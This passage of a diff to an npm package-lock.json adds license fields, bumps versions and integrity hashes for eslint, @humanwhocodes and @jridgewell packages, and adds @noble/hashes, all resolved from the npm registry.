+        "@babel/helper-validator-identifier": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1197,6 +1084,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/cli/-/cli-12.1.4.tgz",
       "integrity": "sha512-ZR1WjXLvqEffYyBPT0XdnSxtt3Ty1TMoujEtseW5o3vPnkA1UNashAMjQVg/oELqfaiAMnDw8SERPMN0e/0kLg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/format": "^12.1.4",
         "@commitlint/lint": "^12.1.4",
@@ -1220,6 +1108,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-12.1.4.tgz",
       "integrity": "sha512-MxHIBuAG9M4xl33qUfIeMSasbv3ktK0W+iygldBxZOL4QSYC2Gn66pZAQMnV9o3V+sVFHoAK2XUKqBAYrgbEqw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/types": "^12.1.4",
         "lodash": "^4.17.19"
@@ -1233,6 +1122,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-12.1.4.tgz",
       "integrity": "sha512-h2S1j8SXyNeABb27q2Ok2vD1WfxJiXvOttKuRA9Or7LN6OQoC/KtT3844CIhhWNteNMu/wE0gkTqGxDVAnJiHg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=v10"
       }
@@ -1242,6 +1132,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-12.1.4.tgz",
       "integrity": "sha512-h28ucMaoRjVvvgS6Bdf85fa/+ZZ/iu1aeWGCpURnQV7/rrVjkhNSjZwGlCOUd5kDV1EnZ5XdI7L18SUpRjs26g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/types": "^12.1.4",
         "chalk": "^4.0.0"
@@ -1255,6 +1146,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-12.1.4.tgz",
       "integrity": "sha512-uTu2jQU2SKvtIRVLOzMQo3KxDtO+iJ1p0olmncwrqy4AfPLgwoyCP2CiULq5M7xpR3+dE3hBlZXbZTQbD7ycIw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/types": "^12.1.4",
         "semver": "7.3.5"
@@ -1268,6 +1160,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
       "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "lru-cache": "^6.0.0"
       },
@@ -1283,6 +1176,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-12.1.4.tgz",
       "integrity": "sha512-1kZ8YDp4to47oIPFELUFGLiLumtPNKJigPFDuHt2+f3Q3IKdQ0uk53n3CPl4uoyso/Og/EZvb1mXjFR/Yce4cA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/is-ignored": "^12.1.4",
         "@commitlint/parse": "^12.1.4",
@@ -1298,6 +1192,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-12.1.4.tgz",
       "integrity": "sha512-Keszi0IOjRzKfxT+qES/n+KZyLrxy79RQz8wWgssCboYjKEp+wC+fLCgbiMCYjI5k31CIzIOq/16J7Ycr0C0EA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/execute-rule": "^12.1.4",
         "@commitlint/resolve-extends": "^12.1.4",
@@ -1316,6 +1211,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-12.1.4.tgz",
       "integrity": "sha512-6QhalEKsKQ/Y16/cTk5NH4iByz26fqws2ub+AinHPtM7Io0jy4e3rym9iE+TkEqiqWZlUigZnTwbPvRJeSUBaA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=v10"
       }
@@ -1325,6 +1221,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-12.1.4.tgz",
       "integrity": "sha512-yqKSAsK2V4X/HaLb/yYdrzs6oD/G48Ilt0EJ2Mp6RJeWYxG14w/Out6JrneWnr/cpzemyN5hExOg6+TB19H/Lw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/types": "^12.1.4",
         "conventional-changelog-angular": "^5.0.11",
@@ -1339,6 +1236,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-12.1.4.tgz",
       "integrity": "sha512-TnPQSJgD8Aod5Xeo9W4SaYKRZmIahukjcCWJ2s5zb3ZYSmj6C85YD9cR5vlRyrZjj78ItLUV/X4FMWWVIS38Jg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/top-level": "^12.1.4",
         "@commitlint/types": "^12.1.4",
@@ -1354,6 +1252,7 @@
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
       "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "at-least-node": "^1.0.0",
         "graceful-fs": "^4.2.0",
@@ -1369,6 +1268,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-12.1.4.tgz",
       "integrity": "sha512-R9CoUtsXLd6KSCfsZly04grsH6JVnWFmVtWgWs1KdDpdV+G3TSs37tColMFqglpkx3dsWu8dsPD56+D9YnJfqg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "import-fresh": "^3.0.0",
         "lodash": "^4.17.19",
@@ -1384,6 +1284,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-12.1.4.tgz",
       "integrity": "sha512-W8m6ZSjg7RuIsIfzQiFHa48X5mcPXeKT9yjBxVmjHvYfS2FDBf1VxCQ7vO0JTVIdV4ohjZ0eKg/wxxUuZHJAZg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@commitlint/ensure": "^12.1.4",
         "@commitlint/message": "^12.1.4",
@@ -1399,6 +1300,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-12.1.4.tgz",
       "integrity": "sha512-TParumvbi8bdx3EdLXz2MaX+e15ZgoCqNUgqHsRLwyqLUTRbqCVkzrfadG1UcMQk8/d5aMbb327ZKG3Q4BRorw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=v10"
       }
@@ -1408,6 +1310,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-12.1.4.tgz",
       "integrity": "sha512-d4lTJrOT/dXlpY+NIt4CUl77ciEzYeNVc0VFgUQ6VA+b1rqYD2/VWFjBlWVOrklxtSDeKyuEhs36RGrppEFAvg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^5.0.0"
       },
@@ -1420,6 +1323,7 @@
       "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-12.1.4.tgz",
       "integrity": "sha512-KRIjdnWNUx6ywz+SJvjmNCbQKcKP6KArhjZhY2l+CWKxak0d77SOjggkMwFTiSgLODOwmuLTbarR2ZfWPiPMlw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "chalk": "^4.0.0"
       },
@@ -1428,34 +1332,40 @@
       }
     },
     "node_modules/@eslint-community/eslint-utils": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz",
-      "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==",
+      "version": "4.7.0",
+      "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.7.0.tgz",
+      "integrity": "sha512-dyybb3AcajC7uha6CvhdVRJqaKyn7w2YKqKyAN37NKYgZT36w+iRb0Dymmc5qEJ549c/S31cMMSFd75bteCpCw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "eslint-visitor-keys": "^3.3.0"
+        "eslint-visitor-keys": "^3.4.3"
       },
       "engines": {
         "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
       },
+      "funding": {
+        "url": "https://opencollective.com/eslint"
+      },
       "peerDependencies": {
         "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0"
       }
     },
     "node_modules/@eslint-community/regexpp": {
-      "version": "4.10.0",
-      "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.10.0.tgz",
-      "integrity": "sha512-Cu96Sd2By9mCNTx2iyKOmq10v22jUVQv0lQnlGNy16oE9589yE+QADPbrMGCkA51cKZSg3Pu/aTJVTGfL/qjUA==",
+      "version": "4.12.1",
+      "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.1.tgz",
+      "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "^12.0.0 || ^14.0.0 || >=16.0.0"
       }
     },
     "node_modules/@eslint/eslintrc": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.3.tgz",
-      "integrity": "sha512-yZzuIG+jnVu6hNSzFEN07e8BxF3uAzYtQb6uDkaYZLo6oYZDCq454c5kB8zxnzfCYyP4MIuyBn10L0DqwujTmA==",
+      "version": "2.1.4",
+      "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.4.tgz",
+      "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ajv": "^6.12.4",
         "debug": "^4.3.2",
@@ -1479,6 +1389,7 @@
       "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
       "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "fast-deep-equal": "^3.1.1",
         "fast-json-stable-stringify": "^2.0.0",
@@ -1494,25 +1405,29 @@
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
       "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@eslint/js": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.54.0.tgz",
-      "integrity": "sha512-ut5V+D+fOoWPgGGNj83GGjnntO39xDy6DWxO0wb7Jp3DcMX0TfIqdzHF85VTQkerdyGmuuMD9AKAo5KiNlf/AQ==",
+      "version": "8.57.1",
+      "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.1.tgz",
+      "integrity": "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
       }
     },
     "node_modules/@humanwhocodes/config-array": {
-      "version": "0.11.13",
-      "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.13.tgz",
-      "integrity": "sha512-JSBDMiDKSzQVngfRjOdFXgFfklaXI4K9nLF49Auh21lmBWRLIK3+xTErTWD4KU54pb6coM6ESE7Awz/FNU3zgQ==",
+      "version": "0.13.0",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.13.0.tgz",
+      "integrity": "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==",
+      "deprecated": "Use @eslint/config-array instead",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
-        "@humanwhocodes/object-schema": "^2.0.1",
-        "debug": "^4.1.1",
+        "@humanwhocodes/object-schema": "^2.0.3",
+        "debug": "^4.3.1",
         "minimatch": "^3.0.5"
       },
       "engines": {
@@ -1524,6 +1439,7 @@
       "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
       "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=12.22"
       },
@@ -1533,16 +1449,19 @@
       }
     },
     "node_modules/@humanwhocodes/object-schema": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.1.tgz",
-      "integrity": "sha512-dvuCeX5fC9dXgJn9t+X5atfmgQAzUOWqS1254Gh0m6i8wKd10ebXkfNKiRK+1GWi/yTvvLDHpoxLr0xxxeslWw==",
-      "dev": true
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz",
+      "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==",
+      "deprecated": "Use @eslint/object-schema instead",
+      "dev": true,
+      "license": "BSD-3-Clause"
     },
     "node_modules/@hutson/parse-repository-url": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/@hutson/parse-repository-url/-/parse-repository-url-3.0.2.tgz",
       "integrity": "sha512-H9XAx3hc0BQHY6l+IFSWHDySypcXsvsuLhgYLUGywmJ5pswRVQJUHpOsobnLYp2ZUaUlKiKDrgWWhosOwAEM8Q==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": ">=6.9.0"
       }
@@ -1552,6 +1471,7 @@
       "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
       "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "camelcase": "^5.3.1",
         "find-up": "^4.1.0",
@@ -1568,6 +1488,7 @@
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "sprintf-js": "~1.0.2"
       }
@@ -1577,6 +1498,7 @@
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
       "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^5.0.0",
         "path-exists": "^4.0.0"
@@ -1590,6 +1512,7 @@
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
       "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "argparse": "^1.0.7",
         "esprima": "^4.0.0"
@@ -1603,6 +1526,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
       "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^4.1.0"
       },
@@ -1615,6 +1539,7 @@
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -1630,6 +1555,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
       "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.2.0"
       },
@@ -1642,53 +1568,45 @@
       "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
       "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
     },
     "node_modules/@jridgewell/gen-mapping": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
-      "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+      "version": "0.3.12",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz",
+      "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@jridgewell/set-array": "^1.0.1",
-        "@jridgewell/sourcemap-codec": "^1.4.10",
-        "@jridgewell/trace-mapping": "^0.3.9"
-      },
-      "engines": {
-        "node": ">=6.0.0"
+        "@jridgewell/sourcemap-codec": "^1.5.0",
+        "@jridgewell/trace-mapping": "^0.3.24"
       }
     },
     "node_modules/@jridgewell/resolve-uri": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz",
-      "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==",
-      "dev": true,
-      "engines": {
-        "node": ">=6.0.0"
-      }
-    },
-    "node_modules/@jridgewell/set-array": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
-      "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
+      "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.0.0"
       }
     },
     "node_modules/@jridgewell/sourcemap-codec": {
-      "version": "1.4.15",
-      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
-      "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==",
-      "dev": true
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz",
+      "integrity": "sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@jridgewell/trace-mapping": {
-      "version": "0.3.20",
-      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.20.tgz",
-      "integrity": "sha512-R8LcPeWZol2zR8mmH3JeKQ6QRCFb7XgUhV9ZlGhHLGyg4wpPiPZNQOOWhFZhxKw8u//yTbNGI42Bx/3paXEQ+Q==",
+      "version": "0.3.29",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz",
+      "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jridgewell/resolve-uri": "^3.1.0",
         "@jridgewell/sourcemap-codec": "^1.4.14"
@@ -1698,6 +1616,7 @@
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz",
       "integrity": "sha512-m9/5YGR18lIwxSFDwfE3oA7bWuq9kdau6ugN4H2rJeyhFQZcG9AgSHkQtSD15a8WvTgfz9aikZMrKPHvbpqFiw==",
+      "license": "MIT",
       "dependencies": {
         "debug": "^4.1.1"
       }
@@ -1705,12 +1624,26 @@
     "node_modules/@kwsites/promise-deferred": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz",
-      "integrity": "sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw=="
+      "integrity": "sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==",
+      "license": "MIT"
+    },
+    "node_modules/@noble/hashes": {
+      "version": "1.8.0",
+      "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz",
+      "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==",
+      "license": "MIT",
+      "engines": {
+        "node": "^14.21.3 || >=16"
+      },
+      "funding": {
+        "url": "https://paulmillr.com/funding/"
+      }
     },
     "node_modules/@nodelib/fs.scandir": {
       "version": "2.1.5",
       "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
       "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+      "license": "MIT",
       "dependencies": {
         "@nodelib/fs.stat": "2.0.5",
         "run-parallel": "^1.1.9"
@@ -1723,6 +1656,7 @@
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
       "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+      "license": "MIT",
       "engines": {
         "node": ">= 8"
       }
@@ -1731,6 +1665,7 @@
       "version": "1.2.8",
       "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
       "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+      "license": "MIT",
       "dependencies": {
         "@nodelib/fs.scandir": "2.1.5",
         "fastq": "^1.6.0"
@@ -1744,6 +1679,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-2.5.0.tgz",
       "integrity": "sha512-r5FVUJCOLl19AxiuZD2VRZ/ORjp/4IN98Of6YJoJOkY75CIBuYfmiNHGrDwXr+aLGG55igl9QrxX3hbiXlLb+g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/types": "^6.0.3"
       }
@@ -1753,6 +1689,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/core/-/core-3.6.0.tgz",
       "integrity": "sha512-7RKRKuA4xTjMhY+eG3jthb3hlZCsOwg3rztWh75Xc+ShDWOfDDATWbeZpAHBNRpm4Tv9WgBMOy1zEJYXG6NJ7Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/auth-token": "^2.4.4",
         "@octokit/graphql": "^4.5.8",
@@ -1768,6 +1705,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz",
       "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/types": "^6.0.3",
         "is-plain-object": "^5.0.0",
@@ -1779,6 +1717,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-4.8.0.tgz",
       "integrity": "sha512-0gv+qLSBLKF0z8TKaSKTsS39scVKF9dbMxJpj3U0vC7wjNWFuIpL/z76Qe2fiuCbDRcJSavkXsVtMS6/dtQQsg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/request": "^5.6.0",
         "@octokit/types": "^6.0.3",
@@ -1789,13 +1728,15 @@
       "version": "12.11.0",
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-12.11.0.tgz",
       "integrity": "sha512-VsXyi8peyRq9PqIz/tpqiL2w3w80OgVMwBHltTml3LmVvXiphgeqmY9mvBw9Wu7e0QWk/fqD37ux8yP5uVekyQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@octokit/plugin-paginate-rest": {
       "version": "2.21.3",
       "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-2.21.3.tgz",
       "integrity": "sha512-aCZTEf0y2h3OLbrgKkrfFdjRL6eSOo8komneVQJnYecAxIej7Bafor2xhuDJOIFau4pk0i/P28/XgtbyPF0ZHw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/types": "^6.40.0"
       },
@@ -1808,6 +1749,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-1.0.4.tgz",
       "integrity": "sha512-mLUsMkgP7K/cnFEw07kWqXGF5LKrOkD+lhCrKvPHXWDywAwuDUeDwWBpc69XK3pNX0uKiVt8g5z96PJ6z9xCFA==",
       "dev": true,
+      "license": "MIT",
       "peerDependencies": {
         "@octokit/core": ">=3"
       }
@@ -1817,6 +1759,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-5.16.2.tgz",
       "integrity": "sha512-8QFz29Fg5jDuTPXVtey05BLm7OB+M8fnvE64RNegzX7U+5NUXcOcnpTIK0YfSHBg8gYd0oxIq3IZTe9SfPZiRw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/types": "^6.39.0",
         "deprecation": "^2.3.1"
@@ -1830,6 +1773,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz",
       "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/endpoint": "^6.0.1",
         "@octokit/request-error": "^2.1.0",
@@ -1844,6 +1788,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz",
       "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/types": "^6.0.3",
         "deprecation": "^2.0.0",
@@ -1855,6 +1800,7 @@
       "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-18.12.0.tgz",
       "integrity": "sha512-gDPiOHlyGavxr72y0guQEhLsemgVjwRePayJ+FcKc2SJqKUbxbkvf5kAZEWA/MKvsfYlQAMVzNJE3ezQcxMJ2Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@octokit/core": "^3.5.1",
         "@octokit/plugin-paginate-rest": "^2.16.8",
@@ -1867,14 +1813,32 @@
       "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.41.0.tgz",
